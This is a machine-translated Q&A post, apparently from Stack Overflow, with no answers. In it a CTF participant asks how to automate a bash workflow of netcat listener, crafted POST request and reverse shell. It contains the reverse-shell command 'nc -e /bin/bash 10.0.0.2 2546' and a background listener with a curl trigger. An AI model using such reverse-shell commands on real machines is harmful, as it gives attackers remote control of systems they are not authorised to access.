反壳和猛击

时间:2018-06-18 21:28:09

标签: bash shell

我正在做一个练习(基本上只是一个CTF),我们对一些易受攻击的机器进行了一些攻击。例如,通过发送特制的帖子请求,我们可以让它执行例如

nc -e /bin/bash 10.0.0.2 2546

我想要做的就是以自己的方式编写脚本,以使其更容易。

  1. 为特定端口设置侦听器
  2. 发送帖子请求以使机器连接回来
  3. 将任意数据发送到服务器,例如升级特权。
  4. 使用shell呈现用户(例如通过nc发送)
  5. 这不是关于如何破解或升级权限的帖子,但我的脚本功能(特别是在bash!中)并不是最好的。

    问题是当我到达第2步时。出于显而易见的原因,我在发送帖子请求之前无法启动nc -lvp 1234,因为它会阻止。而且我每天都很确定bash中的多线程是不可能的......(有人可能已经做过了。)

    nc -lp $lp & # Run in background - probably not a good solution
    curl -X POST $url --data "in_command=do_dirty_stuff" # Send data  
    * MAGIC CONNECTION *
    

    让我们说我实际上已经成功连接回家了,在向用户提供工作shell之前,我如何设法从我的脚本中发送数据,虽然是netcat?也许将netcat数据传递给文件,并将其用作“缓冲区”?

    我知道有很多问题,一个答案无法回答,但我想更多地了解人们会如何做到这一点。或者如果在bash中完全荒谬的话。

0 个答案:

没有答案